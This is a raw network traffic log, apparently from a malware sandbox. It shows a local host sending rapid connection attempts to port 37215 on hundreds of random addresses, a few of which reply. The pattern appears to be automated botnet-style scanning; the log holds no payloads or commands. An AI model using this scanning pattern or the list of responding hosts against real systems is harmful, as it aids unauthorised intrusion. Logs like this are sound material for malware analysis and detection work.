Nov 19, 2023 09:16:03.657159090 CET	45796	37215	192.168.2.23	156.104.27.203
Nov 19, 2023 09:16:03.657164097 CET	45796	37215	192.168.2.23	156.143.255.249
Nov 19, 2023 09:16:03.657172918 CET	45796	37215	192.168.2.23	197.60.98.45
Nov 19, 2023 09:16:03.657181025 CET	45796	37215	192.168.2.23	41.238.239.151
Nov 19, 2023 09:16:03.657185078 CET	45796	37215	192.168.2.23	41.112.11.255
Nov 19, 2023 09:16:03.657185078 CET	45796	37215	192.168.2.23	197.2.6.163
Nov 19, 2023 09:16:03.657202005 CET	45796	37215	192.168.2.23	197.71.67.166
Nov 19, 2023 09:16:03.657205105 CET	45796	37215	192.168.2.23	197.229.107.118
Nov 19, 2023 09:16:03.657208920 CET	45796	37215	192.168.2.23	197.224.93.88
Nov 19, 2023 09:16:03.657210112 CET	45796	37215	192.168.2.23	197.19.182.194
Nov 19, 2023 09:16:03.657222033 CET	45796	37215	192.168.2.23	197.40.215.16
Nov 19, 2023 09:16:03.657229900 CET	45796	37215	192.168.2.23	197.177.216.250
Nov 19, 2023 09:16:03.657234907 CET	45796	37215	192.168.2.23	156.100.83.158
Nov 19, 2023 09:16:03.657262087 CET	45796	37215	192.168.2.23	41.130.150.27
Nov 19, 2023 09:16:03.657262087 CET	45796	37215	192.168.2.23	156.188.113.129
Nov 19, 2023 09:16:03.657262087 CET	45796	37215	192.168.2.23	197.3.182.40
Nov 19, 2023 09:16:03.657264948 CET	45796	37215	192.168.2.23	41.85.50.238
Nov 19, 2023 09:16:03.657268047 CET	45796	37215	192.168.2.23	197.225.112.90
Nov 19, 2023 09:16:03.657268047 CET	45796	37215	192.168.2.23	156.130.199.164
Nov 19, 2023 09:16:03.657268047 CET	45796	37215	192.168.2.23	156.211.255.115
Nov 19, 2023 09:16:03.657279968 CET	45796	37215	192.168.2.23	41.191.244.35
Nov 19, 2023 09:16:03.657284021 CET	45796	37215	192.168.2.23	41.97.37.223
Nov 19, 2023 09:16:03.657294989 CET	45796	37215	192.168.2.23	41.57.54.85
Nov 19, 2023 09:16:03.657298088 CET	45796	37215	192.168.2.23	41.108.178.221
Nov 19, 2023 09:16:03.657298088 CET	45796	37215	192.168.2.23	41.210.17.15
Nov 19, 2023 09:16:03.657305002 CET	45796	37215	192.168.2.23	41.115.63.184
Nov 19, 2023 09:16:03.657309055 CET	45796	37215	192.168.2.23	156.117.138.19
Nov 19, 2023 09:16:03.657309055 CET	45796	37215	192.168.2.23	41.231.239.202
Nov 19, 2023 09:16:03.657309055 CET	45796	37215	192.168.2.23	41.188.15.68
Nov 19, 2023 09:16:03.657314062 CET	45796	37215	192.168.2.23	197.135.33.135
Nov 19, 2023 09:16:03.657315969 CET	45796	37215	192.168.2.23	41.145.125.108
Nov 19, 2023 09:16:03.657316923 CET	45796	37215	192.168.2.23	156.245.64.195
Nov 19, 2023 09:16:03.657316923 CET	45796	37215	192.168.2.23	41.253.75.165
Nov 19, 2023 09:16:03.657332897 CET	45796	37215	192.168.2.23	197.13.173.199
Nov 19, 2023 09:16:03.657335043 CET	45796	37215	192.168.2.23	156.55.61.211
Nov 19, 2023 09:16:03.657335043 CET	45796	37215	192.168.2.23	156.234.38.36
Nov 19, 2023 09:16:03.657341957 CET	45796	37215	192.168.2.23	197.136.50.87
Nov 19, 2023 09:16:03.657346010 CET	45796	37215	192.168.2.23	197.112.226.64
Nov 19, 2023 09:16:03.657346010 CET	45796	37215	192.168.2.23	197.69.226.152
Nov 19, 2023 09:16:03.657346964 CET	45796	37215	192.168.2.23	41.77.121.72
Nov 19, 2023 09:16:03.657346010 CET	45796	37215	192.168.2.23	156.37.69.26
Nov 19, 2023 09:16:03.657352924 CET	45796	37215	192.168.2.23	41.100.135.182
Nov 19, 2023 09:16:03.657360077 CET	45796	37215	192.168.2.23	197.81.159.181
Nov 19, 2023 09:16:03.657372952 CET	45796	37215	192.168.2.23	156.23.121.243
Nov 19, 2023 09:16:03.657375097 CET	45796	37215	192.168.2.23	156.32.242.27
Nov 19, 2023 09:16:03.657380104 CET	45796	37215	192.168.2.23	41.119.111.33
Nov 19, 2023 09:16:03.657387018 CET	45796	37215	192.168.2.23	156.26.89.42
Nov 19, 2023 09:16:03.657388926 CET	45796	37215	192.168.2.23	156.247.167.247
Nov 19, 2023 09:16:03.657390118 CET	45796	37215	192.168.2.23	197.188.197.7
Nov 19, 2023 09:16:03.657390118 CET	45796	37215	192.168.2.23	156.246.182.164
Nov 19, 2023 09:16:03.657388926 CET	45796	37215	192.168.2.23	41.40.246.85
Nov 19, 2023 09:16:03.657399893 CET	45796	37215	192.168.2.23	41.30.138.156
Nov 19, 2023 09:16:03.657418013 CET	45796	37215	192.168.2.23	41.231.55.226
Nov 19, 2023 09:16:03.657423019 CET	45796	37215	192.168.2.23	41.162.38.134
Nov 19, 2023 09:16:03.657421112 CET	45796	37215	192.168.2.23	197.254.219.86
Nov 19, 2023 09:16:03.657422066 CET	45796	37215	192.168.2.23	41.56.152.130
Nov 19, 2023 09:16:03.657422066 CET	45796	37215	192.168.2.23	156.167.137.12
Nov 19, 2023 09:16:03.657428026 CET	45796	37215	192.168.2.23	197.14.244.63
Nov 19, 2023 09:16:03.657429934 CET	45796	37215	192.168.2.23	41.249.250.132
Nov 19, 2023 09:16:03.657437086 CET	45796	37215	192.168.2.23	41.224.186.19
Nov 19, 2023 09:16:03.657437086 CET	45796	37215	192.168.2.23	197.7.154.253
Nov 19, 2023 09:16:03.657439947 CET	45796	37215	192.168.2.23	41.89.33.73
Nov 19, 2023 09:16:03.657442093 CET	45796	37215	192.168.2.23	41.39.74.92
Nov 19, 2023 09:16:03.657442093 CET	45796	37215	192.168.2.23	156.241.224.162
Nov 19, 2023 09:16:03.657447100 CET	45796	37215	192.168.2.23	156.48.6.202
Nov 19, 2023 09:16:03.657452106 CET	45796	37215	192.168.2.23	41.122.102.62
Nov 19, 2023 09:16:03.657469034 CET	45796	37215	192.168.2.23	41.107.130.74
Nov 19, 2023 09:16:03.657469988 CET	45796	37215	192.168.2.23	197.147.166.42
Nov 19, 2023 09:16:03.657469034 CET	45796	37215	192.168.2.23	156.5.177.150
Nov 19, 2023 09:16:03.657476902 CET	45796	37215	192.168.2.23	197.42.83.95
Nov 19, 2023 09:16:03.657495022 CET	45796	37215	192.168.2.23	197.94.210.99
Nov 19, 2023 09:16:03.657495022 CET	45796	37215	192.168.2.23	197.144.209.58
Nov 19, 2023 09:16:03.657495022 CET	45796	37215	192.168.2.23	156.155.15.101
Nov 19, 2023 09:16:03.657499075 CET	45796	37215	192.168.2.23	197.16.186.195
Nov 19, 2023 09:16:03.657502890 CET	45796	37215	192.168.2.23	156.224.245.180
Nov 19, 2023 09:16:03.657521009 CET	45796	37215	192.168.2.23	156.108.227.42
Nov 19, 2023 09:16:03.657524109 CET	45796	37215	192.168.2.23	41.245.149.26
Nov 19, 2023 09:16:03.657524109 CET	45796	37215	192.168.2.23	156.222.6.86
Nov 19, 2023 09:16:03.657536983 CET	45796	37215	192.168.2.23	41.255.207.98
Nov 19, 2023 09:16:03.657536983 CET	45796	37215	192.168.2.23	156.183.194.211
Nov 19, 2023 09:16:03.657541037 CET	45796	37215	192.168.2.23	156.177.47.172
Nov 19, 2023 09:16:03.657541037 CET	45796	37215	192.168.2.23	197.51.245.86
Nov 19, 2023 09:16:03.657553911 CET	45796	37215	192.168.2.23	156.69.56.148
Nov 19, 2023 09:16:03.657558918 CET	45796	37215	192.168.2.23	41.188.250.171
Nov 19, 2023 09:16:03.657558918 CET	45796	37215	192.168.2.23	197.162.161.196
Nov 19, 2023 09:16:03.657573938 CET	45796	37215	192.168.2.23	197.101.59.225
Nov 19, 2023 09:16:03.657573938 CET	45796	37215	192.168.2.23	156.128.197.39
Nov 19, 2023 09:16:03.657574892 CET	45796	37215	192.168.2.23	156.238.210.121
Nov 19, 2023 09:16:03.657587051 CET	45796	37215	192.168.2.23	41.164.161.63
Nov 19, 2023 09:16:03.657589912 CET	45796	37215	192.168.2.23	156.112.72.67
Nov 19, 2023 09:16:03.657603979 CET	45796	37215	192.168.2.23	156.81.208.98
Nov 19, 2023 09:16:03.657603979 CET	45796	37215	192.168.2.23	197.83.79.223
Nov 19, 2023 09:16:03.657603979 CET	45796	37215	192.168.2.23	197.253.69.67
Nov 19, 2023 09:16:03.657613039 CET	45796	37215	192.168.2.23	197.116.203.95
Nov 19, 2023 09:16:03.657623053 CET	45796	37215	192.168.2.23	41.232.137.68
Nov 19, 2023 09:16:03.657629967 CET	45796	37215	192.168.2.23	41.40.154.45
Nov 19, 2023 09:16:03.657634020 CET	45796	37215	192.168.2.23	156.231.201.185
Nov 19, 2023 09:16:03.657640934 CET	45796	37215	192.168.2.23	156.145.54.240
Nov 19, 2023 09:16:03.657636881 CET	45796	37215	192.168.2.23	197.236.32.85
Nov 19, 2023 09:16:03.657649994 CET	45796	37215	192.168.2.23	156.135.99.204
Nov 19, 2023 09:16:03.657649994 CET	45796	37215	192.168.2.23	197.193.43.39
Nov 19, 2023 09:16:03.657655954 CET	45796	37215	192.168.2.23	156.98.253.3
Nov 19, 2023 09:16:03.657658100 CET	45796	37215	192.168.2.23	156.126.114.165
Nov 19, 2023 09:16:03.657664061 CET	45796	37215	192.168.2.23	156.76.98.242
Nov 19, 2023 09:16:03.657665014 CET	45796	37215	192.168.2.23	41.237.34.218
Nov 19, 2023 09:16:03.657666922 CET	45796	37215	192.168.2.23	197.86.2.98
Nov 19, 2023 09:16:03.657685041 CET	45796	37215	192.168.2.23	41.97.138.15
Nov 19, 2023 09:16:03.657685995 CET	45796	37215	192.168.2.23	197.218.213.23
Nov 19, 2023 09:16:03.657689095 CET	45796	37215	192.168.2.23	197.199.203.83
Nov 19, 2023 09:16:03.657696962 CET	45796	37215	192.168.2.23	197.10.143.160
Nov 19, 2023 09:16:03.657705069 CET	45796	37215	192.168.2.23	41.68.135.156
Nov 19, 2023 09:16:03.657705069 CET	45796	37215	192.168.2.23	156.59.66.167
Nov 19, 2023 09:16:03.657713890 CET	45796	37215	192.168.2.23	41.144.173.100
Nov 19, 2023 09:16:03.657720089 CET	45796	37215	192.168.2.23	197.222.85.62
Nov 19, 2023 09:16:03.657720089 CET	45796	37215	192.168.2.23	197.163.149.35
Nov 19, 2023 09:16:03.657720089 CET	45796	37215	192.168.2.23	197.157.178.22
Nov 19, 2023 09:16:03.657725096 CET	45796	37215	192.168.2.23	41.239.39.39
Nov 19, 2023 09:16:03.657728910 CET	45796	37215	192.168.2.23	197.164.196.215
Nov 19, 2023 09:16:03.657732010 CET	45796	37215	192.168.2.23	197.36.1.154
Nov 19, 2023 09:16:03.657746077 CET	45796	37215	192.168.2.23	197.208.249.39
Nov 19, 2023 09:16:03.657752037 CET	45796	37215	192.168.2.23	197.153.201.149
Nov 19, 2023 09:16:03.657759905 CET	45796	37215	192.168.2.23	197.199.119.112
Nov 19, 2023 09:16:03.657763958 CET	45796	37215	192.168.2.23	197.53.137.122
Nov 19, 2023 09:16:03.657763958 CET	45796	37215	192.168.2.23	156.212.33.149
Nov 19, 2023 09:16:03.657771111 CET	45796	37215	192.168.2.23	41.157.174.28
Nov 19, 2023 09:16:03.657771111 CET	45796	37215	192.168.2.23	41.67.30.0
Nov 19, 2023 09:16:03.657777071 CET	45796	37215	192.168.2.23	156.57.236.216
Nov 19, 2023 09:16:03.657785892 CET	45796	37215	192.168.2.23	156.25.215.85
Nov 19, 2023 09:16:03.657785892 CET	45796	37215	192.168.2.23	156.226.105.3
Nov 19, 2023 09:16:03.657809019 CET	45796	37215	192.168.2.23	156.54.31.46
Nov 19, 2023 09:16:03.657809019 CET	45796	37215	192.168.2.23	197.134.86.225
Nov 19, 2023 09:16:03.657814980 CET	45796	37215	192.168.2.23	197.212.0.98
Nov 19, 2023 09:16:03.657814980 CET	45796	37215	192.168.2.23	156.112.111.116
Nov 19, 2023 09:16:03.657818079 CET	45796	37215	192.168.2.23	197.252.172.210
Nov 19, 2023 09:16:03.657819986 CET	45796	37215	192.168.2.23	197.41.114.253
Nov 19, 2023 09:16:03.657829046 CET	45796	37215	192.168.2.23	197.173.195.213
Nov 19, 2023 09:16:03.657829046 CET	45796	37215	192.168.2.23	197.52.109.176
Nov 19, 2023 09:16:03.657831907 CET	45796	37215	192.168.2.23	41.136.173.112
Nov 19, 2023 09:16:03.657830000 CET	45796	37215	192.168.2.23	41.172.174.255
Nov 19, 2023 09:16:03.657855034 CET	45796	37215	192.168.2.23	41.58.173.84
Nov 19, 2023 09:16:03.657856941 CET	45796	37215	192.168.2.23	197.25.198.98
Nov 19, 2023 09:16:03.657862902 CET	45796	37215	192.168.2.23	197.123.172.73
Nov 19, 2023 09:16:03.657862902 CET	45796	37215	192.168.2.23	156.114.177.191
Nov 19, 2023 09:16:03.657865047 CET	45796	37215	192.168.2.23	41.80.148.120
Nov 19, 2023 09:16:03.657862902 CET	45796	37215	192.168.2.23	197.242.209.124
Nov 19, 2023 09:16:03.657862902 CET	45796	37215	192.168.2.23	197.146.196.30
Nov 19, 2023 09:16:03.657862902 CET	45796	37215	192.168.2.23	41.18.93.145
Nov 19, 2023 09:16:03.657867908 CET	45796	37215	192.168.2.23	41.95.14.109
Nov 19, 2023 09:16:03.657886028 CET	45796	37215	192.168.2.23	156.188.23.1
Nov 19, 2023 09:16:03.657886982 CET	45796	37215	192.168.2.23	41.209.32.237
Nov 19, 2023 09:16:03.657886982 CET	45796	37215	192.168.2.23	41.47.27.18
Nov 19, 2023 09:16:03.657888889 CET	45796	37215	192.168.2.23	156.2.39.241
Nov 19, 2023 09:16:03.657891035 CET	45796	37215	192.168.2.23	156.35.87.138
Nov 19, 2023 09:16:03.657891989 CET	45796	37215	192.168.2.23	156.100.129.30
Nov 19, 2023 09:16:03.657891035 CET	45796	37215	192.168.2.23	156.203.133.102
Nov 19, 2023 09:16:03.657896042 CET	45796	37215	192.168.2.23	156.251.84.210
Nov 19, 2023 09:16:03.657896042 CET	45796	37215	192.168.2.23	41.16.206.48
Nov 19, 2023 09:16:03.657910109 CET	45796	37215	192.168.2.23	156.103.247.62
Nov 19, 2023 09:16:03.657910109 CET	45796	37215	192.168.2.23	41.246.16.119
Nov 19, 2023 09:16:03.657910109 CET	45796	37215	192.168.2.23	41.173.37.117
Nov 19, 2023 09:16:03.657911062 CET	45796	37215	192.168.2.23	41.231.144.208
Nov 19, 2023 09:16:03.657910109 CET	45796	37215	192.168.2.23	197.167.86.139
Nov 19, 2023 09:16:03.657911062 CET	45796	37215	192.168.2.23	197.173.223.239
Nov 19, 2023 09:16:03.657912016 CET	45796	37215	192.168.2.23	197.144.225.204
Nov 19, 2023 09:16:03.657912016 CET	45796	37215	192.168.2.23	156.79.130.236
Nov 19, 2023 09:16:03.657912970 CET	45796	37215	192.168.2.23	156.211.89.192
Nov 19, 2023 09:16:03.657912970 CET	45796	37215	192.168.2.23	197.176.247.31
Nov 19, 2023 09:16:03.657913923 CET	45796	37215	192.168.2.23	41.199.232.211
Nov 19, 2023 09:16:03.657913923 CET	45796	37215	192.168.2.23	41.190.75.147
Nov 19, 2023 09:16:03.657913923 CET	45796	37215	192.168.2.23	197.8.34.239
Nov 19, 2023 09:16:03.657913923 CET	45796	37215	192.168.2.23	156.106.82.184
Nov 19, 2023 09:16:03.657913923 CET	45796	37215	192.168.2.23	156.214.125.166
Nov 19, 2023 09:16:03.657923937 CET	45796	37215	192.168.2.23	41.225.189.104
Nov 19, 2023 09:16:03.657927990 CET	45796	37215	192.168.2.23	41.51.234.52
Nov 19, 2023 09:16:03.657927990 CET	45796	37215	192.168.2.23	197.42.175.52
Nov 19, 2023 09:16:03.657927990 CET	45796	37215	192.168.2.23	197.138.250.30
Nov 19, 2023 09:16:03.657927990 CET	45796	37215	192.168.2.23	156.250.161.135
Nov 19, 2023 09:16:03.657927990 CET	45796	37215	192.168.2.23	197.114.127.78
Nov 19, 2023 09:16:03.657932043 CET	45796	37215	192.168.2.23	41.131.212.64
Nov 19, 2023 09:16:03.657927990 CET	45796	37215	192.168.2.23	197.46.153.131
Nov 19, 2023 09:16:03.657932043 CET	45796	37215	192.168.2.23	197.92.141.115
Nov 19, 2023 09:16:03.657938004 CET	45796	37215	192.168.2.23	197.0.169.94
Nov 19, 2023 09:16:03.657938004 CET	45796	37215	192.168.2.23	41.177.216.61
Nov 19, 2023 09:16:03.657948017 CET	45796	37215	192.168.2.23	156.125.239.86
Nov 19, 2023 09:16:03.657948971 CET	45796	37215	192.168.2.23	197.197.75.212
Nov 19, 2023 09:16:03.657948971 CET	45796	37215	192.168.2.23	156.223.187.124
Nov 19, 2023 09:16:03.657948971 CET	45796	37215	192.168.2.23	156.187.218.60
Nov 19, 2023 09:16:03.657949924 CET	45796	37215	192.168.2.23	197.42.228.138
Nov 19, 2023 09:16:03.657951117 CET	45796	37215	192.168.2.23	156.185.9.79
Nov 19, 2023 09:16:03.657949924 CET	45796	37215	192.168.2.23	156.127.248.16
Nov 19, 2023 09:16:03.657948971 CET	45796	37215	192.168.2.23	156.218.175.4
Nov 19, 2023 09:16:03.657948971 CET	45796	37215	192.168.2.23	41.185.47.199
Nov 19, 2023 09:16:03.657951117 CET	45796	37215	192.168.2.23	156.177.229.94
Nov 19, 2023 09:16:03.657948971 CET	45796	37215	192.168.2.23	41.43.219.153
Nov 19, 2023 09:16:03.657951117 CET	45796	37215	192.168.2.23	156.167.0.129
Nov 19, 2023 09:16:03.657948971 CET	45796	37215	192.168.2.23	156.199.191.127
Nov 19, 2023 09:16:03.657951117 CET	45796	37215	192.168.2.23	41.190.179.216
Nov 19, 2023 09:16:03.657975912 CET	45796	37215	192.168.2.23	41.126.8.240
Nov 19, 2023 09:16:03.657979965 CET	45796	37215	192.168.2.23	41.110.154.66
Nov 19, 2023 09:16:03.657989025 CET	45796	37215	192.168.2.23	197.41.202.200
Nov 19, 2023 09:16:03.657999039 CET	45796	37215	192.168.2.23	41.181.201.177
Nov 19, 2023 09:16:03.658010006 CET	45796	37215	192.168.2.23	41.11.56.165
Nov 19, 2023 09:16:03.658011913 CET	45796	37215	192.168.2.23	41.58.44.10
Nov 19, 2023 09:16:03.658011913 CET	45796	37215	192.168.2.23	197.250.28.85
Nov 19, 2023 09:16:03.658013105 CET	45796	37215	192.168.2.23	156.169.224.22
Nov 19, 2023 09:16:03.658015966 CET	45796	37215	192.168.2.23	197.19.186.40
Nov 19, 2023 09:16:03.658021927 CET	45796	37215	192.168.2.23	156.134.207.89
Nov 19, 2023 09:16:03.658032894 CET	45796	37215	192.168.2.23	156.124.120.155
Nov 19, 2023 09:16:03.658042908 CET	45796	37215	192.168.2.23	156.153.78.184
Nov 19, 2023 09:16:03.658042908 CET	45796	37215	192.168.2.23	41.124.98.109
Nov 19, 2023 09:16:03.658042908 CET	45796	37215	192.168.2.23	197.233.155.150
Nov 19, 2023 09:16:03.658042908 CET	45796	37215	192.168.2.23	156.66.13.120
Nov 19, 2023 09:16:03.658047915 CET	45796	37215	192.168.2.23	41.228.30.28
Nov 19, 2023 09:16:03.658047915 CET	45796	37215	192.168.2.23	197.172.39.185
Nov 19, 2023 09:16:03.658056021 CET	45796	37215	192.168.2.23	197.137.108.36
Nov 19, 2023 09:16:03.658058882 CET	45796	37215	192.168.2.23	197.175.110.182
Nov 19, 2023 09:16:03.658080101 CET	45796	37215	192.168.2.23	197.7.127.15
Nov 19, 2023 09:16:03.658086061 CET	45796	37215	192.168.2.23	41.116.133.153
Nov 19, 2023 09:16:03.658086061 CET	45796	37215	192.168.2.23	156.109.249.218
Nov 19, 2023 09:16:03.658087969 CET	45796	37215	192.168.2.23	41.140.58.201
Nov 19, 2023 09:16:03.658092976 CET	45796	37215	192.168.2.23	197.202.210.139
Nov 19, 2023 09:16:03.658108950 CET	45796	37215	192.168.2.23	156.86.232.137
Nov 19, 2023 09:16:03.658113956 CET	45796	37215	192.168.2.23	156.102.41.5
Nov 19, 2023 09:16:03.658119917 CET	45796	37215	192.168.2.23	197.236.208.101
Nov 19, 2023 09:16:03.658123970 CET	45796	37215	192.168.2.23	41.199.185.103
Nov 19, 2023 09:16:03.658123970 CET	45796	37215	192.168.2.23	156.240.69.182
Nov 19, 2023 09:16:03.658133030 CET	45796	37215	192.168.2.23	156.88.69.143
Nov 19, 2023 09:16:03.658138990 CET	45796	37215	192.168.2.23	41.9.5.99
Nov 19, 2023 09:16:03.658148050 CET	45796	37215	192.168.2.23	156.74.239.30
Nov 19, 2023 09:16:03.658148050 CET	45796	37215	192.168.2.23	197.219.4.155
Nov 19, 2023 09:16:03.658148050 CET	45796	37215	192.168.2.23	156.170.180.48
Nov 19, 2023 09:16:03.658174992 CET	45796	37215	192.168.2.23	41.54.82.232
Nov 19, 2023 09:16:03.658179998 CET	45796	37215	192.168.2.23	41.68.61.168
Nov 19, 2023 09:16:03.658179998 CET	45796	37215	192.168.2.23	41.64.123.236
Nov 19, 2023 09:16:03.658181906 CET	45796	37215	192.168.2.23	41.83.218.39
Nov 19, 2023 09:16:03.658181906 CET	45796	37215	192.168.2.23	197.44.36.167
Nov 19, 2023 09:16:03.658188105 CET	45796	37215	192.168.2.23	41.111.192.237
Nov 19, 2023 09:16:03.658204079 CET	45796	37215	192.168.2.23	156.85.58.110
Nov 19, 2023 09:16:03.658215046 CET	45796	37215	192.168.2.23	156.189.233.43
Nov 19, 2023 09:16:03.658216953 CET	45796	37215	192.168.2.23	197.90.48.192
Nov 19, 2023 09:16:03.658225060 CET	45796	37215	192.168.2.23	156.117.162.92
Nov 19, 2023 09:16:03.658230066 CET	45796	37215	192.168.2.23	197.210.99.20
Nov 19, 2023 09:16:03.658232927 CET	45796	37215	192.168.2.23	197.101.0.135
Nov 19, 2023 09:16:03.658240080 CET	45796	37215	192.168.2.23	41.62.26.106
Nov 19, 2023 09:16:03.658248901 CET	45796	37215	192.168.2.23	41.83.108.161
Nov 19, 2023 09:16:03.658248901 CET	45796	37215	192.168.2.23	41.241.11.88
Nov 19, 2023 09:16:03.658262014 CET	45796	37215	192.168.2.23	156.231.242.165
Nov 19, 2023 09:16:03.658267975 CET	45796	37215	192.168.2.23	156.129.212.131
Nov 19, 2023 09:16:03.658268929 CET	45796	37215	192.168.2.23	156.122.193.215
Nov 19, 2023 09:16:03.658279896 CET	45796	37215	192.168.2.23	41.94.52.2
Nov 19, 2023 09:16:03.658281088 CET	45796	37215	192.168.2.23	156.78.220.166
Nov 19, 2023 09:16:03.658282042 CET	45796	37215	192.168.2.23	197.126.212.218
Nov 19, 2023 09:16:03.658288002 CET	45796	37215	192.168.2.23	41.27.44.16
Nov 19, 2023 09:16:03.658307076 CET	45796	37215	192.168.2.23	156.220.147.62
Nov 19, 2023 09:16:03.658308983 CET	45796	37215	192.168.2.23	41.15.7.74
Nov 19, 2023 09:16:03.658309937 CET	45796	37215	192.168.2.23	197.23.200.10
Nov 19, 2023 09:16:03.658313036 CET	45796	37215	192.168.2.23	156.168.164.148
Nov 19, 2023 09:16:03.658322096 CET	45796	37215	192.168.2.23	156.245.237.88
Nov 19, 2023 09:16:03.658330917 CET	45796	37215	192.168.2.23	41.175.37.250
Nov 19, 2023 09:16:03.658334017 CET	45796	37215	192.168.2.23	41.30.81.213
Nov 19, 2023 09:16:03.658339024 CET	45796	37215	192.168.2.23	197.237.27.238
Nov 19, 2023 09:16:03.658339977 CET	45796	37215	192.168.2.23	197.84.253.103
Nov 19, 2023 09:16:03.658358097 CET	45796	37215	192.168.2.23	41.96.11.110
Nov 19, 2023 09:16:03.658359051 CET	45796	37215	192.168.2.23	41.139.179.131
Nov 19, 2023 09:16:03.658358097 CET	45796	37215	192.168.2.23	156.93.89.255
Nov 19, 2023 09:16:03.658370018 CET	45796	37215	192.168.2.23	156.237.255.98
Nov 19, 2023 09:16:03.658370972 CET	45796	37215	192.168.2.23	156.245.17.77
Nov 19, 2023 09:16:03.658374071 CET	45796	37215	192.168.2.23	156.179.19.106
Nov 19, 2023 09:16:03.658377886 CET	45796	37215	192.168.2.23	41.182.26.154
Nov 19, 2023 09:16:03.658385038 CET	45796	37215	192.168.2.23	156.202.99.0
Nov 19, 2023 09:16:03.658390999 CET	45796	37215	192.168.2.23	41.197.103.41
Nov 19, 2023 09:16:03.658405066 CET	45796	37215	192.168.2.23	197.117.23.71
Nov 19, 2023 09:16:03.658409119 CET	45796	37215	192.168.2.23	197.86.242.42
Nov 19, 2023 09:16:03.658409119 CET	45796	37215	192.168.2.23	197.62.109.233
Nov 19, 2023 09:16:03.658410072 CET	45796	37215	192.168.2.23	41.11.191.24
Nov 19, 2023 09:16:03.658417940 CET	45796	37215	192.168.2.23	156.41.141.30
Nov 19, 2023 09:16:03.658433914 CET	45796	37215	192.168.2.23	41.197.223.49
Nov 19, 2023 09:16:03.658433914 CET	45796	37215	192.168.2.23	156.32.8.233
Nov 19, 2023 09:16:03.658433914 CET	45796	37215	192.168.2.23	197.133.33.112
Nov 19, 2023 09:16:03.658437014 CET	45796	37215	192.168.2.23	156.60.202.103
Nov 19, 2023 09:16:03.658437014 CET	45796	37215	192.168.2.23	156.1.171.138
Nov 19, 2023 09:16:03.658447027 CET	45796	37215	192.168.2.23	41.158.214.125
Nov 19, 2023 09:16:03.658457994 CET	45796	37215	192.168.2.23	156.239.168.179
Nov 19, 2023 09:16:03.658468962 CET	45796	37215	192.168.2.23	197.255.28.56
Nov 19, 2023 09:16:03.658473969 CET	45796	37215	192.168.2.23	156.14.121.206
Nov 19, 2023 09:16:03.658476114 CET	45796	37215	192.168.2.23	197.251.204.45
Nov 19, 2023 09:16:03.658487082 CET	45796	37215	192.168.2.23	41.58.70.100
Nov 19, 2023 09:16:03.658487082 CET	45796	37215	192.168.2.23	156.77.87.23
Nov 19, 2023 09:16:03.658498049 CET	45796	37215	192.168.2.23	156.176.207.52
Nov 19, 2023 09:16:03.658507109 CET	45796	37215	192.168.2.23	197.81.69.209
Nov 19, 2023 09:16:03.658507109 CET	45796	37215	192.168.2.23	41.206.142.189
Nov 19, 2023 09:16:03.658507109 CET	45796	37215	192.168.2.23	156.45.222.44
Nov 19, 2023 09:16:03.658515930 CET	45796	37215	192.168.2.23	197.6.118.151
Nov 19, 2023 09:16:03.658523083 CET	45796	37215	192.168.2.23	156.148.84.192
Nov 19, 2023 09:16:03.658523083 CET	45796	37215	192.168.2.23	156.249.59.52
Nov 19, 2023 09:16:03.658529043 CET	45796	37215	192.168.2.23	156.119.235.199
Nov 19, 2023 09:16:03.658529043 CET	45796	37215	192.168.2.23	156.29.43.215
Nov 19, 2023 09:16:03.658529043 CET	45796	37215	192.168.2.23	197.248.35.124
Nov 19, 2023 09:16:03.658530951 CET	45796	37215	192.168.2.23	156.215.218.39
Nov 19, 2023 09:16:03.658530951 CET	45796	37215	192.168.2.23	156.15.43.186
Nov 19, 2023 09:16:03.658533096 CET	45796	37215	192.168.2.23	197.36.18.86
Nov 19, 2023 09:16:03.658533096 CET	45796	37215	192.168.2.23	156.21.126.207
Nov 19, 2023 09:16:03.658543110 CET	45796	37215	192.168.2.23	41.17.243.11
Nov 19, 2023 09:16:03.658543110 CET	45796	37215	192.168.2.23	156.133.118.112
Nov 19, 2023 09:16:03.658543110 CET	45796	37215	192.168.2.23	197.235.248.154
Nov 19, 2023 09:16:03.658543110 CET	45796	37215	192.168.2.23	41.181.122.24
Nov 19, 2023 09:16:03.658549070 CET	45796	37215	192.168.2.23	41.199.164.73
Nov 19, 2023 09:16:03.658555984 CET	45796	37215	192.168.2.23	197.91.251.165
Nov 19, 2023 09:16:03.658571005 CET	45796	37215	192.168.2.23	156.71.242.174
Nov 19, 2023 09:16:03.658571959 CET	45796	37215	192.168.2.23	197.84.110.65
Nov 19, 2023 09:16:03.658571959 CET	45796	37215	192.168.2.23	197.203.224.83
Nov 19, 2023 09:16:03.658591986 CET	45796	37215	192.168.2.23	41.251.184.176
Nov 19, 2023 09:16:03.885930061 CET	37215	45796	197.147.166.42	192.168.2.23
Nov 19, 2023 09:16:03.888951063 CET	37215	45796	41.83.218.39	192.168.2.23
Nov 19, 2023 09:16:03.946708918 CET	37215	45796	197.248.132.138	192.168.2.23
Nov 19, 2023 09:16:03.952384949 CET	37215	45796	197.248.35.124	192.168.2.23
Nov 19, 2023 09:16:03.958571911 CET	37215	45796	156.245.64.195	192.168.2.23
Nov 19, 2023 09:16:03.981161118 CET	37215	45796	41.164.161.63	192.168.2.23
Nov 19, 2023 09:16:04.020137072 CET	37215	45796	197.129.233.158	192.168.2.23
Nov 19, 2023 09:16:04.554099083 CET	43928	443	192.168.2.23	91.189.91.42
Nov 19, 2023 09:16:04.659626007 CET	45796	37215	192.168.2.23	41.189.171.35
Nov 19, 2023 09:16:04.659636021 CET	45796	37215	192.168.2.23	197.188.38.59
Nov 19, 2023 09:16:04.659655094 CET	45796	37215	192.168.2.23	197.50.222.31
Nov 19, 2023 09:16:04.659665108 CET	45796	37215	192.168.2.23	156.165.152.75
Nov 19, 2023 09:16:04.659667969 CET	45796	37215	192.168.2.23	41.5.253.31
Nov 19, 2023 09:16:04.659667969 CET	45796	37215	192.168.2.23	156.164.213.156
Nov 19, 2023 09:16:04.659672976 CET	45796	37215	192.168.2.23	156.126.254.214
Nov 19, 2023 09:16:04.659677029 CET	45796	37215	192.168.2.23	41.245.238.94
Nov 19, 2023 09:16:04.659707069 CET	45796	37215	192.168.2.23	197.104.157.77
Nov 19, 2023 09:16:04.659708023 CET	45796	37215	192.168.2.23	197.70.42.233
Nov 19, 2023 09:16:04.659708023 CET	45796	37215	192.168.2.23	41.91.137.28
Nov 19, 2023 09:16:04.659708023 CET	45796	37215	192.168.2.23	41.195.168.31
Nov 19, 2023 09:16:04.659713030 CET	45796	37215	192.168.2.23	156.189.33.205
